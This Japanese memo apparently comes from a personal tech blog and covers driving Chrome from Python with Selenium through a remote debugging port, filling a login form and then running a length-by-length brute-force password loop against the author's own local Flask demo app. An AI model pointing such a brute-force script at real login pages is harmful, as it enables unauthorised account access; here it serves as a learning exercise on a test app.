selenium を用いた python 経由のブラウザ操作

selenium でブラウザ操作をスクリプトから行う手法の覚え書き.

使用したコードはgithub においてある.

検証環境

selenium とは

Python のライブラリインストール

pip install selenium
        
uv add selenium
        

chrome のデバッグモード起動

cd /tmp
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo apt install --fix-missing ./google-chrome-stable_current_amd64.deb
        
google-chrome --remote-debugging-port=9876 --user-data-dir=/tmp/selenium-chrome
        

Selenium からアクセス

from selenium import webdriver
from selenium.webdriver.chrome.options import Options

DEBUGGER_ADDRESS = "127.0.0.1:9876"
TARGET_URL = "http://localhost:6483/"

def main():
    # Attach Selenium to an already-running Chrome debug session.
    options = Options()
    options.add_experimental_option("debuggerAddress", DEBUGGER_ADDRESS)

    driver = webdriver.Chrome(options=options)

    # Navigate the attached browser to the Flask demo application.
    driver.get(TARGET_URL)

if __name__ == "__main__":
    main()
        

検証用アプリケーションについて

login

account

Selenium で form 要素を取得, 入力, 送信

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait

PASSWORD_FIELD = (By.ID, "password")
SUBMIT_BUTTON = (By.CSS_SELECTOR, "button[type='submit']")
WAIT_IGNORED_EXCEPTIONS = (StaleElementReferenceException, WebDriverException)

def post_passwd(driver, password):
    # Fill the login password field and submit the form.
    password_input = WebDriverWait(driver, 3, ignored_exceptions=WAIT_IGNORED_EXCEPTIONS).until(
        EC.element_to_be_clickable(PASSWORD_FIELD)
    )
    password_input.clear()
    password_input.send_keys(password)
    WebDriverWait(driver, 3, ignored_exceptions=WAIT_IGNORED_EXCEPTIONS).until(
        EC.element_to_be_clickable(SUBMIT_BUTTON)
    ).click()
        

パスワードのブルートフォース攻撃を試す

def is_logged_in(driver):
    # Check whether the app reached the authenticated user page.
    return SUCCESS_TEXT in driver.page_source
        
def bruteforce(driver, max_length=None):
    # Try candidate passwords from length 1 upward until authentication succeeds.
    password_length = 1
    while max_length is None or password_length <= max_length:
        for candidate_tuple in itertools.product(PASSWORD_CHARS, repeat=password_length):
            candidate = "".join(candidate_tuple)
            post_passwd(driver, candidate)

            WebDriverWait(driver, 3, ignored_exceptions=WAIT_IGNORED_EXCEPTIONS).until(
                lambda current_driver: is_logged_in(current_driver)
                or EC.element_to_be_clickable(PASSWORD_FIELD)(current_driver)
            )

            if is_logged_in(driver):
                return candidate

        password_length += 1